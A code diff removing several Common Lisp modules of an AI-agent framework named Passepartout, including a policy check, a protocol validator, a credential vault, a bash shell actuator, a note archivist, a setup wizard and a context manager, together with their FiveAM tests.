:trigger (lambda (ctx) (declare (ignore ctx)) t)
:deterministic #'policy-compliance-check)
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-security-policy-tests
(:use :cl :fiveam :passepartout)
(:export #:policy-suite))
(in-package :passepartout-security-policy-tests)
(def-suite policy-suite :description "Verification of the Constitutional Policy Layer")
(in-suite policy-suite)
(test test-policy-passes-valid-explanation
"Contract 1: action with sufficient explanation passes through unchanged."
(let* ((action '(:type :REQUEST :payload (:action :read :explanation "The user asked me to read the TODO list for today.")))
(result (policy-compliance-check action nil)))
(is (equal action result))))
(test test-policy-rejects-short-explanation
"Contract 1: action with explanation ≤10 characters is rejected with :LOG."
(let* ((action '(:type :REQUEST :payload (:action :read :explanation "hi")))
(result (policy-compliance-check action nil)))
(is (eq :LOG (getf result :type)))
(is (search "blocked" (getf (getf result :payload) :text) :test #'char-equal))))
(test test-policy-rejects-missing-explanation
"Contract 1: action without :explanation is rejected."
(let* ((action '(:type :REQUEST :payload (:action :read)))
(result (policy-compliance-check action nil)))
(is (eq :LOG (getf result :type)))))

43
lisp/security-validator.lisp
View File

@@ -1,43 +0,0 @@
(in-package :passepartout)
(defun validator-protocol-check (msg)
"Enforces structural schema compliance on protocol messages."
(validate-communication-protocol-schema msg))
(defskill :passepartout-security-validator
:priority 95
:trigger (lambda (ctx) (declare (ignore ctx)) t)
:deterministic (lambda (action ctx)
(declare (ignore ctx))
(handler-case
(progn (validator-protocol-check action) action)
(error (c)
(list :type :LOG :payload (list :level :error :text (format nil "Protocol Violation: ~a" c)))))))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-security-validator-tests
(:use :cl :fiveam :passepartout)
(:export #:validator-suite))
(in-package :passepartout-security-validator-tests)
(def-suite validator-suite :description "Verification of the Protocol Validator")
(in-suite validator-suite)
(test test-validator-passes-valid-message
"Contract 1: a valid message passes protocol check."
(let ((msg '(:type :EVENT :payload (:sensor :heartbeat))))
(handler-case
(progn
(validator-protocol-check msg)
(pass))
(error (c)
(fail "Validator rejected a valid message: ~a" c)))))
(test test-validator-rejects-missing-type
"Contract 1: a message missing :type is rejected."
(let ((msg '(:payload (:sensor :heartbeat))))
(signals error
(validator-protocol-check msg))))

86
lisp/security-vault.lisp
View File

@@ -1,86 +0,0 @@
(in-package :passepartout)
(defvar *vault-memory* (make-hash-table :test 'equal)
"In-memory cache of sensitive credentials.")
(defun vault-get (provider &key (type :api-key))
"Retrieves a credential from the vault or environment."
(let* ((key (format nil "~a-~a" provider type))
(val (gethash key *vault-memory*)))
(if val
val
(let ((env-var (case provider
(:gemini "GEMINI_API_KEY")
(:openai "OPENAI_API_KEY")
(:anthropic "ANTHROPIC_API_KEY")
(:openrouter "OPENROUTER_API_KEY")
(otherwise nil))))
(when env-var (uiop:getenv env-var))))))
(defun vault-set (provider secret &key (type :api-key))
"Stores a secret in the vault."
(let ((key (format nil "~a-~a" provider type)))
(setf (gethash key *vault-memory*) secret)))
(defun vault-get-secret (provider)
"Retrieves a stored secret or token for a gateway provider."
(vault-get provider :type :secret))
(defun vault-set-secret (provider secret)
"Stores a secret or token for a gateway provider."
(vault-set provider secret :type :secret))
(defskill :passepartout-security-vault
:priority 600
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-security-vault-tests
(:use :cl :fiveam :passepartout)
(:export #:vault-suite))
(in-package :passepartout-security-vault-tests)
(def-suite vault-suite :description "Verification of the Credentials Vault")
(in-suite vault-suite)
(test test-vault-round-trip
"Contract 1: vault-set stores a value; vault-get retrieves it."
(let ((test-key :vault-test-round-trip)
(test-secret "secret-abc123"))
(vault-set test-key test-secret)
(is (string= test-secret (vault-get test-key)))
;; Clean up
(vault-set test-key nil)))
(test test-vault-missing-key
"Contract 2: vault-get returns NIL for an unset, unknown provider."
(is (null (vault-get :nonexistent-provider-xyz))))
(test test-vault-isolation
"Contract 5: storing for provider A does not affect provider B."
(vault-set :vault-prov-a "secret-a")
(vault-set :vault-prov-b "secret-b")
(is (string= "secret-a" (vault-get :vault-prov-a)))
(is (string= "secret-b" (vault-get :vault-prov-b)))
(vault-set :vault-prov-a nil)
(vault-set :vault-prov-b nil))
(test test-vault-secret-wrappers
"Contracts 3,4: vault-get-secret and vault-set-secret use :type :secret."
(let ((test-provider :vault-secret-test))
(vault-set-secret test-provider "my-token")
(is (string= "my-token" (vault-get-secret test-provider)))
;; Clean up
(vault-set-secret test-provider nil)))
(test test-vault-type-isolation
"Contract 5: different :type values produce different keys."
(vault-set :vault-type-test "key-value" :type :api-key)
(vault-set :vault-type-test "secret-value" :type :secret)
(is (string= "key-value" (vault-get :vault-type-test :type :api-key)))
(is (string= "secret-value" (vault-get :vault-type-test :type :secret)))
(vault-set :vault-type-test nil :type :api-key)
(vault-set :vault-type-test nil :type :secret))

27
lisp/system-actuator-shell.lisp
View File

@@ -1,27 +0,0 @@
(defun actuator-shell-execute (action context)
"Executes a bash command with timeout (via timeout(1)) and output limit."
(declare (ignore context))
(let* ((payload (getf action :payload))
(cmd (getf payload :cmd))
(timeout-sym (find-symbol "*BOUNCER-SHELL-TIMEOUT*" :passepartout))
(timeout (or (getf payload :timeout) (if timeout-sym (symbol-value timeout-sym) 30)))
(max-sym (find-symbol "*BOUNCER-SHELL-MAX-OUTPUT*" :passepartout))
(max-output (or (getf payload :max-output) (if max-sym (symbol-value max-sym) 100000)))
(wrapped-cmd (format nil "timeout ~a bash -c ~s" timeout cmd)))
(log-message "ACT [Shell]: ~a (timeout: ~as)" cmd timeout)
(multiple-value-bind (out err code)
(uiop:run-program (list "bash" "-c" wrapped-cmd)
:output :string :error-output :string
:ignore-error-status t)
(cond
((= code 124) (format nil "ERROR: Command timed out after ~a seconds" timeout))
((> (length out) max-output)
(format nil "~a~%... (output truncated to ~a chars)" (subseq out 0 max-output) max-output))
((= code 0) out)
(t (format nil "ERROR [~a]: ~a" code err))))))
(register-actuator :shell #'actuator-shell-execute)
(defskill :passepartout-system-actuator-shell
:priority 50
:trigger (lambda (ctx) (declare (ignore ctx)) nil))

279
lisp/system-archivist.lisp
View File

@@ -1,279 +0,0 @@
(in-package :passepartout)
(in-package :passepartout)
(defvar *archivist-last-scribe* 0
"Universal time of the last Scribe distillation run.")
(defvar *archivist-last-gardener* 0
"Universal time of the last Gardener scan run.")
(defvar *archivist-gardener-interval* 86400
"Seconds between Gardener scans. Default: 24 hours.")
(defun archivist-scribe-distill ()
"Distills daily log entries into atomic notes. Reads the Memex daily/
directory for log files modified since the last run, extracts headlines
as potential note seeds, and creates atomic note files in notes/ with
backlinks to the source daily entry."
(let* ((memex-dir (or (uiop:getenv "MEMEX_DIR")
(namestring (merge-pathnames "memex/" (user-homedir-pathname)))))
(daily-dir (merge-pathnames "daily/" memex-dir))
(notes-dir (merge-pathnames "notes/" memex-dir))
(now (get-universal-time))
(notes-created 0))
(unless (uiop:directory-exists-p daily-dir)
(log-message "ARCHIVIST: Daily directory not found: ~a" daily-dir)
(return-from archivist-scribe-distill nil))
(ensure-directories-exist notes-dir)
(handler-case
(let ((daily-files (uiop:directory-files daily-dir "*.org")))
(dolist (file daily-files)
(let* ((filepath (namestring file))
(file-mtime (ignore-errors (file-write-date filepath))))
(when (and file-mtime (> file-mtime *archivist-last-scribe*))
;; Extract headlines from daily log
(let* ((content (handler-case (uiop:read-file-string filepath)
(error () nil)))
(headlines (when content
(archivist-extract-headlines content))))
(dolist (hl headlines)
(when (archivist-create-note hl notes-dir filepath)
(incf notes-created))))))))
(error (c)
(log-message "ARCHIVIST: Scribe error: ~a" c)))
(setf *archivist-last-scribe* now)
(when (> notes-created 0)
(log-message "ARCHIVIST: Scribe created ~d atomic notes" notes-created))
notes-created))
(defun archivist-extract-headlines (content)
"Extracts first-level headlines and their content from Org text.
Returns a list of plists: (:title <str> :content <str> :tags <list>)."
(let ((lines (uiop:split-string content :separator '(#\Newline)))
(results nil)
(current-title nil)
(current-lines nil)
(current-tags nil)
(in-properties nil))
(dolist (line lines)
(let ((trimmed (string-trim '(#\Space) line)))
(when (string= trimmed ":PROPERTIES:")
(setf in-properties t))
(when (string= trimmed ":END:")
(setf in-properties nil))
(when (and in-properties (uiop:string-prefix-p ":TAGS:" trimmed))
(setf current-tags
(mapcar (lambda (tag) (string-trim '(#\Space) tag))
(uiop:split-string (string-trim '(#\Space) (subseq trimmed 6))
:separator '(#\space #\tab)))))
(cond
;; First-level headline
((and (uiop:string-prefix-p "* " trimmed)
(not (uiop:string-prefix-p "**" trimmed)))
;; Save previous
(when current-title
(push (list :title current-title
:content (format nil "~{~a~^~%~}" (nreverse current-lines))
:tags current-tags)
results))
(setf current-title (string-trim '(#\* #\Space) trimmed)
current-lines nil
current-tags nil
in-properties nil))
;; Content lines under current headline
(current-title
(unless (or (uiop:string-prefix-p "*" trimmed)
(string= trimmed ":PROPERTIES:")
(string= trimmed ":END:"))
(push line current-lines))))))
;; Save last headline
(when current-title
(push (list :title current-title
:content (format nil "~{~a~^~%~}" (nreverse current-lines))
:tags current-tags)
results))
(nreverse results)))
(defun archivist-headline-to-filename (title)
"Converts a headline title to a valid atomic note filename.
Replaces spaces and special chars with underscores, downcases."
(let* ((clean (cl-ppcre:regex-replace-all "[^a-zA-Z0-9 ]" title ""))
(underscored (cl-ppcre:regex-replace-all "\\s+" clean "_"))
(lowered (string-downcase underscored)))
(if (> (length lowered) 100)
(subseq lowered 0 100)
lowered)))
(defun archivist-create-note (headline notes-dir source-filepath)
"Creates an atomic note from a headline plist in the notes/ directory.
Headline is a plist (:title <str> :content <str> :tags <list>).
Returns T if note was created, nil if it already exists."
(let* ((title (getf headline :title))
(content (or (getf headline :content) ""))
(tags (getf headline :tags))
(filename (archivist-headline-to-filename title))
(filepath (merge-pathnames (format nil "~a.org" filename) notes-dir))
(source-basename (enough-namestring source-filepath
(merge-pathnames "" notes-dir))))
(when (uiop:file-exists-p filepath)
(return-from archivist-create-note nil))
(handler-case
(progn
(uiop:with-output-file (s filepath :if-exists nil)
(format s "#+TITLE: ~a~%" title)
(format s "#+FILETAGS: :atomic:note:~:[~;~{~a~^:~}~]~%" tags tags)
(format s "~%* ~a~%" title)
(format s ":PROPERTIES:~%")
(format s ":CREATED: ~a~%" (org-id-generate))
(format s ":SOURCE: ~a~%" source-basename)
(format s ":END:~%")
(format s "~%~a~%" content)
(format s "~%* Backlinks~%")
(format s "- Source: [[file:~a][~a]]~%" source-basename
(file-namestring source-filepath)))
(log-message "ARCHIVIST: Created note ~a" (namestring filepath))
t)
(error (c)
(log-message "ARCHIVIST: Failed to create note ~a: ~a" filepath c)
nil))))
(defun archivist-gardener-scan ()
"Scans the Memex for broken file links and orphaned memory objects.
Broken links are =[[file:...]]= references whose target file does not exist.
Orphaned objects are =memory-object= entries whose =:parent-id= references
a deleted object. Returns a plist (:broken-links <count> :orphans <count>)."
(let* ((memex-dir (or (uiop:getenv "MEMEX_DIR")
(namestring (merge-pathnames "memex/" (user-homedir-pathname)))))
(org-files (archivist-find-org-files memex-dir))
(broken-links 0)
(orphans 0))
;; Scan for broken links
(dolist (file org-files)
(handler-case
(let* ((content (uiop:read-file-string file))
(links (archivist-extract-file-links content)))
(dolist (link links)
(let ((target (merge-pathnames link (make-pathname :directory
(pathname-directory file)))))
(unless (uiop:file-exists-p target)
(log-message "ARCHIVIST: Broken link in ~a -> ~a"
(enough-namestring file memex-dir) link)
(incf broken-links)))))
(error ()
(log-message "ARCHIVIST: Could not read ~a" file))))
;; Scan for orphaned memory objects
(handler-case
(let ((deleted-ids (make-hash-table :test 'equal)))
;; In practice, we check if parent-id points to a non-existent object
(maphash (lambda (id obj)
(declare (ignore obj))
(setf (gethash id deleted-ids) t))
(if (boundp '*memory-store*)
(symbol-value '*memory-store*)
(make-hash-table :test 'equal)))
(let ((store (if (boundp '*memory-store*)
(symbol-value '*memory-store*)
(make-hash-table :test 'equal))))
(maphash (lambda (id obj)
(let ((parent (memory-object-parent-id obj)))
(when (and parent (not (gethash parent store)))
(log-message "ARCHIVIST: Orphaned object ~a (parent ~a not found)"
id parent)
(incf orphans))))
store)))
(error ()
(log-message "ARCHIVIST: Memory store not available for orphan scan")))
(setf *archivist-last-gardener* (get-universal-time))
(list :broken-links broken-links :orphans orphans)))
(defun archivist-find-org-files (memex-dir)
"Recursively finds all .org files under memex-dir, up to 3 levels deep."
(let ((files nil))
(labels ((walk (dir depth)
(when (and (uiop:directory-exists-p dir) (< depth 3))
(handler-case
(dolist (entry (uiop:subdirectories dir))
(walk entry (1+ depth)))
(error ()))
(handler-case
(dolist (file (uiop:directory-files dir "*.org"))
(push (namestring file) files))
(error ())))))
(walk memex-dir 0))
files))
(defun archivist-extract-file-links (content)
"Extracts all =[[file:...]]= link targets from Org content.
Returns a list of link target strings."
(let ((links nil))
(cl-ppcre:do-register-groups (target)
("\\[\\[file:([^\\]]+)\\]\\[" content)
(unless (search "::" target) ;; skip internal anchors
(pushnew target links :test #'string=)))
;; Also handle bare [[file:target]] links
(cl-ppcre:do-register-groups (target)
("\\[\\[file:([^\\]]+)\\]\\]" content)
(unless (search "::" target)
(pushnew target links :test #'string=)))
links))
(defun archivist-run (action context)
"Runs the archivist maintenance cycle. Checks Scribe and Gardener schedules
and dispatches as needed. Called by the deterministic gate."
(declare (ignore action context))
(let ((now (get-universal-time)))
;; Scribe runs every 6 hours (21600 seconds)
(when (>= (- now *archivist-last-scribe*) 21600)
(ignore-errors (archivist-scribe-distill)))
;; Gardener runs every 24 hours
(when (>= (- now *archivist-last-gardener*) *archivist-gardener-interval*)
(ignore-errors
(let ((result (archivist-gardener-scan)))
(when (> (getf result :broken-links) 0)
(log-message "ARCHIVIST: Gardener found ~d broken links, ~d orphans"
(getf result :broken-links) (getf result :orphans)))))))
nil)
(defskill :passepartout-system-archivist
:priority 100
:trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :heartbeat))
:deterministic #'archivist-run)
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-system-archivist-tests
(:use :cl :passepartout)
(:export #:archivist-suite))
(in-package :passepartout-system-archivist-tests)
(fiveam:def-suite archivist-suite :description "Verification of the Archivist skill")
(fiveam:in-suite archivist-suite)
(fiveam:test test-extract-headlines
"Contract 1: archivist-extract-headlines parses Org content."
(let* ((content (format nil "* My Headline :tag1:tag2:~%Body text here~%* Another Headline"))
(headlines (archivist-extract-headlines content)))
(fiveam:is (listp headlines))
(fiveam:is (>= (length headlines) 1))))
(fiveam:test test-headline-to-filename
"Contract 2: archivist-headline-to-filename sanitizes titles."
(let ((filename (archivist-headline-to-filename "My Project: Overview")))
(fiveam:is (search "my_project_overview" filename :test #'char-equal))
(fiveam:is (not (search ":" filename)))))
(fiveam:test test-archivist-create-note
"Contract 3: archivist-create-note writes a Zettelkasten note to disk."
(let* ((tmp-dir "/tmp/passepartout-archivist-test/")
(headline (list :title "Test Note" :content "Some content" :tags '("test" "atomic"))))
(uiop:ensure-all-directories-exist (list tmp-dir))
(unwind-protect
(progn
(fiveam:is (eq t (archivist-create-note headline tmp-dir "/tmp/source.org"))
"Expected note creation to return T")
(fiveam:is (uiop:file-exists-p (merge-pathnames "test_note.org" tmp-dir))
"Expected file test_note.org to exist"))
(uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t))))

274
lisp/system-config.lisp
View File

@@ -1,274 +0,0 @@
(defun config-directory ()
"Returns the absolute path to the opencortex config directory."
(let ((xdg (uiop:getenv "OC_CONFIG_DIR")))
(if xdg xdg (namestring (merge-pathnames ".config/passepartout/" (user-homedir-pathname))))))
(defun config-file-path ()
"Returns the path to the .env configuration file."
(merge-pathnames ".env" (config-directory)))
(defun config-directory-ensure ()
"Creates the configuration directory if it does not exist."
(ensure-directories-exist (config-directory)))
(defun config-read ()
"Reads the .env config file and returns an alist of KEY=VALUE pairs."
(let ((config-file (config-file-path)))
(when (uiop:file-exists-p config-file)
(let ((lines (uiop:read-file-lines config-file))
(result nil))
(dolist (line lines)
(when (and line (> (length line) 0)
(not (uiop:string-prefix-p "#" line)))
(let ((eq-pos (position #\= line)))
(when eq-pos
(let ((key (string-trim " " (subseq line 0 eq-pos)))
(value (string-trim " " (subseq line (1+ eq-pos)))))
(push (cons key value) result))))))
(nreverse result)))))
(defun config-write (config-alist)
"Writes the config alist to the .env file."
(config-directory-ensure)
(let ((config-file (config-file-path)))
(with-open-file (stream config-file :direction :output :if-exists :supersede :if-does-not-exist :create)
(format stream "# Passepartout Configuration~%")
(format stream "# Generated by opencortex setup~%~%")
(dolist (pair config-alist)
(format stream "~a=~a~%" (car pair) (cdr pair))))))
(defun config-get (key)
"Gets a config value by key."
(let ((config (config-read)))
(cdr (assoc key config :test #'string=))))
(defun config-set (key value)
"Sets a config value and saves to file."
(let ((config (config-read))
(pair (cons key value)))
(let ((existing (assoc key config :test #'string=)))
(if existing
(setf (cdr existing) value)
(push pair config))
(config-write config))))
(defun prompt (prompt-text)
"Simple prompt that returns user input as a string.
Returns nil if stdin is non-interactive."
(format t "~a" prompt-text)
(finish-output)
(ignore-errors (read-line)))
(defun prompt-yes-no (prompt-text)
"Prompts yes/no question. Returns T for yes, nil for no."
(let ((response (prompt (format nil "~a [Y/n]: " prompt-text))))
(or (string= response "")
(string-equal response "Y")
(string-equal response "y")
(string-equal response "yes"))))
(defun prompt-choice (prompt-text options)
"Prompts user to choose from a list of options. Returns the chosen option or nil."
(format t "~a~%" prompt-text)
(let ((i 1))
(dolist (opt options)
(format t " ~a) ~a~%" i opt)
(incf i)))
(let ((response (prompt "Choice")))
(let ((num (ignore-errors (parse-integer response))))
(when (and num (<= 1 num) (>= (length options) num))
(nth (1- num) options)))))
(defparameter *available-providers*
'(("OpenAI" . "OPENAI_API_KEY")
("Anthropic" . "ANTHROPIC_API_KEY")
("OpenRouter" . "OPENROUTER_API_KEY")
("Groq" . "GROQ_API_KEY")
("Gemini" . "GEMINI_API_KEY")
("DeepSeek" . "DEEPSEEK_API_KEY")
("NVIDIA" . "NVIDIA_API_KEY")
("Local" . "LOCAL_BASE_URL")))
(defun setup-llm-providers ()
"Interactive wizard for configuring LLM providers."
(format t "~%~%")
(format t "==================================================~%")
(format t " LLM Provider Configuration~%")
(format t "==================================================~%~%")
(let ((current-providers (loop for (name . key) in *available-providers*
when (config-get key)
collect name)))
(when current-providers
(format t "Currently configured: ~{~a~^, ~}~%~%" current-providers))
(format t "~%")
(format t "★ OpenRouter recommended for new users — free tier, no credit card required.~%")
(format t " Sign up at https://openrouter.ai and paste your API key below.~%")
(format t "~%")
(format t "Available providers:~%")
(format t " ~20@A ~25@A ~s~%" "Provider" "Key env var" "Notes")
(format t " ~20@A ~25@A ~s~%" "--------" "----------" "-----")
(dolist (p *available-providers*)
(let ((name (car p))
(env-key (cdr p))
(desc (case (car p)
("OpenRouter" "free tier, 33+ models")
("OpenAI" "paid, gpt-4o-mini")
("Anthropic" "paid, Claude 3.5 Sonnet")
("Groq" "fast inference, free tier")
("Gemini" "free via API")
("DeepSeek" "competitive pricing, coding")
("NVIDIA" "NVIDIA NIM hosted models")
("Local" "local server, no API key")
(t ""))))
(format t " ~20@A ~25@A ~a~%" name env-key desc)))
(format t "~%")
(loop
(when (not (prompt-yes-no "Configure a LLM provider?"))
(return))
(let ((chosen (prompt-choice "Select a provider:" (mapcar #'car *available-providers*))))
(unless chosen
(format t "Invalid choice.~%")
(return))
(let ((env-key (cdr (assoc chosen *available-providers* :test #'string=))))
(cond
((string= chosen "Local")
(format t "Enter the server URL (e.g., http://localhost:11434 for Ollama,~%")
(format t " or http://localhost:8080 for llama.cpp): ")
(let ((url (read-line)))
(if (> (length url) 0)
(progn (config-set env-key url)
(format t "✓ ~a configured at ~a~%" chosen url))
(format t "Skipping ~a — no URL entered.~%" chosen))))
(t
(format t "Enter API key for ~a~%" chosen)
(format t " (get one from the provider's website, paste it here): ")
(let ((key (read-line)))
(if (> (length key) 0)
(progn (config-set env-key key)
(format t "✓ ~a API key saved~%" chosen))
(format t "Skipping ~a — no key entered.~%" chosen))))))))
(format t "~%")))
(defun setup-add-provider ()
"Entry point for adding a single provider (called from CLI)."
(setup-llm-providers))
(defun setup-gateways ()
"Interactive wizard for configuring external gateways."
(format t "~%~%")
(format t "==================================================~%")
(format t " Gateway Configuration~%")
(format t "==================================================~%~%")
(format t "Available gateways:~%")
(format t " - Slack (https://api.slack.com/)~%")
(format t " - Discord (https://discord.com/developers/)~%")
(format t "~%")
(when (prompt-yes-no "Configure a gateway?")
(let ((chosen (prompt-choice "Select platform:" '("Slack" "Discord"))))
(when chosen
(let ((token (prompt (format nil "Enter ~a bot token: " chosen))))
(if (string= chosen "Slack")
(config-set "SLACK_TOKEN" token)
(config-set "DISCORD_TOKEN" token))
(format t "✓ ~a gateway configured~%" chosen)))))
(format t "~%"))
(defun setup-skills ()
"Interactive wizard for enabling/disabling skills."
(format t "~%~%")
(format t "==================================================~%")
(format t " Skill Management~%")
(format t "==================================================~%~%")
(format t "Note: Skill management is not yet implemented.~%")
(format t "Skills are automatically loaded from ~a~%" (or (uiop:getenv "PASSEPARTOUT_DATA_DIR") "~/.local/share/passepartout"))
(format t "~%"))
(defun setup-memory ()
"Interactive wizard for memory settings."
(format t "~%~%")
(format t "==================================================~%")
(format t " Memory Settings~%")
(format t "==================================================~%~%")
(let ((auto-save (prompt "Auto-save interval in seconds [300]:")))
(when (and auto-save (> (length auto-save) 0))
(config-set "MEMORY_AUTO_SAVE_INTERVAL" auto-save)))
(let ((history (prompt "History retention in lines [1000]:")))
(when (and history (> (length history) 0))
(config-set "MEMORY_HISTORY_RETENTION" history)))
(format t "✓ Memory settings saved~%")
(format t "~%"))
(defun setup-network ()
"Interactive wizard for network settings."
(format t "~%~%")
(format t "==================================================~%")
(format t " Network Settings~%")
(format t "==================================================~%~%")
(let ((timeout (prompt "Request timeout in seconds [30]:")))
(when (and timeout (> (length timeout) 0))
(config-set "REQUEST_TIMEOUT" timeout)))
(let ((proxy (prompt "Proxy URL (leave empty for none) []:")))
(when (and proxy (> (length proxy) 0))
(config-set "HTTP_PROXY" proxy)))
(format t "✓ Network settings saved~%")
(format t "~%"))
(defun setup-wizard-run ()
"Main entry point for the interactive setup wizard."
(format t "~%~%")
(format t "╔═══════════════════════════════════════════════════╗~%")
(format t "║ Passepartout Setup Wizard ║~%")
(format t "╚═══════════════════════════════════════════════════╝~%")
(format t "~%")
(format t "This wizard will help you configure:~%")
(format t " 1. LLM Providers (OpenAI, Anthropic, etc.)~%")
(format t " 2. Gateway Links (Slack, Discord)~%")
(format t " 3. Memory Settings~%")
(format t " 4. Network Settings~%")
(format t "~%")
(config-directory-ensure)
;; Step 1: LLM Providers
(when (prompt-yes-no "Configure LLM providers?")
(setup-llm-providers))
;; Step 2: Gateways
(when (prompt-yes-no "Configure gateways?")
(setup-gateways))
;; Step 3: Memory
(when (prompt-yes-no "Configure memory settings?")
(setup-memory))
;; Step 4: Network
(when (prompt-yes-no "Configure network settings?")
(setup-network))
;; Summary
(format t "==================================================~%")
(format t " Setup Complete!~%")
(format t "==================================================~%")
(format t "~%")
(format t "Configuration saved to: ~a~%" (config-file-path))
(format t "~%")
(format t "To verify your setup, run: passepartout doctor~%")
(format t "~%"))
(defskill :passepartout-system-config
:priority 100
:trigger (lambda (ctx) (declare (ignore ctx)) nil))

210
lisp/system-context-manager.lisp
View File

@@ -1,210 +0,0 @@
(in-package :passepartout)
(defvar *context-stack* nil
"Stack of context plists. Each plist has :project, :base-path, :scope.
Top of stack (car) is the current context.")
(defvar *context-max-depth* 10
"Maximum context stack depth. Prevents runaway pushes.")
(defun current-context ()
"Returns the current context plist, or nil if no context is set."
(car *context-stack*))
(defun current-scope ()
"Returns the current scope keyword (:memex/:session/:project).
Returns :memex when no context is set (defaults to global scope)."
(or (getf (current-context) :scope) :memex))
(defun current-project ()
"Returns the current project name, or nil."
(getf (current-context) :project))
(defun current-base-path ()
"Returns the current base path for file resolution, or nil."
(getf (current-context) :base-path))
(defun context-stack-depth ()
"Returns the current depth of the context stack."
(length *context-stack*))
(defun push-context (&key project base-path (scope :project))
"Pushes a new context onto the stack. When focused on a project:
- File paths resolve relative to BASE-PATH
- Memory queries filter by SCOPE
- :memex scope objects remain visible (always global)
Returns the new context plist."
(when (>= (context-stack-depth) *context-max-depth*)
(log-message "CONTEXT: Stack depth limit reached (~d), refusing push" *context-max-depth*)
(return-from push-context (current-context)))
(let* ((context (list :project project
:base-path base-path
:scope scope)))
(push context *context-stack*)
(context-save)
(log-message "CONTEXT: Pushed ~a (depth ~d)" project (context-stack-depth))
context))
(defun pop-context ()
"Pops the current context, restoring the previous one.
Returns the restored context or nil if stack becomes empty."
(if *context-stack*
(let ((popped (pop *context-stack*)))
(context-save)
(log-message "CONTEXT: Popped ~a (depth ~d)"
(getf popped :project) (context-stack-depth))
(current-context))
(progn
(log-message "CONTEXT: Cannot pop — stack is empty")
nil)))
(defmacro with-context ((&key project base-path (scope :project)) &body body)
"Executes BODY within a scoped context, then restores the previous context.
Example:
(with-context (:project \"passepartout\" :base-path \"/home/user/memex/projects/passepartout\")
(context-scoped-query :tag \"bug\"))"
`(let ((*context-stack* (cons (list :project ,project
:base-path ,base-path
:scope ,scope)
*context-stack*)))
,@body))
(defun resolve-path (path)
"Resolves a file path relative to the current context.
If PATH is absolute, returns it unchanged.
If PATH is relative and a base-path is set, merges them.
Otherwise returns PATH unchanged."
(let ((base (current-base-path)))
(if (and base path (not (uiop:absolute-pathname-p path)))
(namestring (merge-pathnames path (uiop:ensure-directory-pathname base)))
path)))
(defun context-scoped-query (&key tag todo-state type)
"Like context-query but filtered to the current context's scope.
:memex-scoped objects are always visible regardless of current scope."
(context-query :tag tag :todo-state todo-state :type type :scope (current-scope)))
(defun project-objects ()
"Returns all objects scoped to the current project.
Includes :memex-scoped objects (global knowledge) plus :project-scoped
objects matching the current project."
(context-scoped-query))
(defun focus-project (name base-path)
"Shortcut: focus on a project by name and base path.
Calls push-context with :scope :project."
(push-context :project name :base-path base-path :scope :project))
(defun focus-session ()
"Shortcut: enter a session context (ephemeral scope).
Objects created in this scope are visible only during the session."
(push-context :project "session" :scope :session))
(defun focus-memex ()
"Shortcut: return to global memex scope. Equivalent to pop-context
until stack is empty or :memex context is reached."
(loop while (and *context-stack*
(not (eq (getf (current-context) :scope) :memex)))
do (pop-context)))
(defun unfocus ()
"Pop the top context and return to the previous one."
(pop-context))
(defvar *context-persistence-file* nil
"Path to the context stack persistence file.")
(defun context-persist-file ()
"Returns the full path to the context persistence file."
(or *context-persistence-file*
(setf *context-persistence-file*
(merge-pathnames ".cache/passepartout/context.lisp"
(user-homedir-pathname)))))
(defun context-save ()
"Writes *context-stack* to the persistence file."
(handler-case
(let ((path (context-persist-file)))
(ensure-directories-exist (make-pathname :directory (pathname-directory path)))
(with-open-file (s path :direction :output :if-exists :supersede
:if-does-not-exist :create)
(prin1 *context-stack* s))
(log-message "CONTEXT: Saved stack (depth ~d) to ~a"
(length *context-stack*) path))
(error (c)
(log-message "CONTEXT: Failed to save: ~a" c))))
(defun context-load ()
"Restores *context-stack* from the persistence file."
(handler-case
(let ((path (context-persist-file)))
(when (probe-file path)
(with-open-file (s path :direction :input)
(let ((*read-eval* nil)
(data (read s nil nil)))
(when (listp data)
(setf *context-stack* data)
(log-message "CONTEXT: Restored stack (depth ~d) from ~a"
(length *context-stack*) path))
t))))
(error (c)
(log-message "CONTEXT: Failed to load: ~a" c)
nil)))
(defskill :passepartout-system-context-manager
:priority 90
:trigger (lambda (ctx) (declare (ignore ctx)) nil)
:deterministic (lambda (action ctx)
(declare (ignore action))
(ignore-errors
(when (> (context-stack-depth) 0)
nil))
nil))
(when (boundp '*scope-resolver*)
(setf *scope-resolver* #'current-scope))
;; Restore persisted context on load
(context-load)
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-context-tests
(:use :cl :passepartout)
(:export #:context-suite))
(in-package :passepartout-context-tests)
(fiveam:def-suite context-suite :description "Context manager verification")
(fiveam:in-suite context-suite)
(fiveam:test test-push-pop-context
"Contract 1-2: push-context and pop-context maintain stack order."
(let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER"))
(stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg)))
(pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg))))
(when stack-var
(setf (symbol-value stack-var) nil)
(push-context :project "testapp" :base-path "/tmp" :scope :project)
(fiveam:is (= 1 (length (symbol-value stack-var))))
(fiveam:is (string= "testapp" (getf (car (symbol-value stack-var)) :project)))
(pop-context)
(fiveam:is (null (symbol-value stack-var))))))
(fiveam:test test-context-save-load
"Contract 3-4: context-save and context-load round-trip."
(let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER"))
(stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg)))
(pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg))))
(when (and stack-var pf-var)
(let* ((tmpfile (merge-pathnames "test-context.lisp" (uiop:temporary-directory))))
(setf (symbol-value pf-var) tmpfile)
(setf (symbol-value stack-var) (list '(:project "test" :base-path "/tmp" :scope :project)))
(context-save)
(fiveam:is (probe-file tmpfile))
(setf (symbol-value stack-var) nil)
(context-load)
(fiveam:is (= 1 (length (symbol-value stack-var))))
(fiveam:is (string= "test" (getf (car (symbol-value stack-var)) :project)))
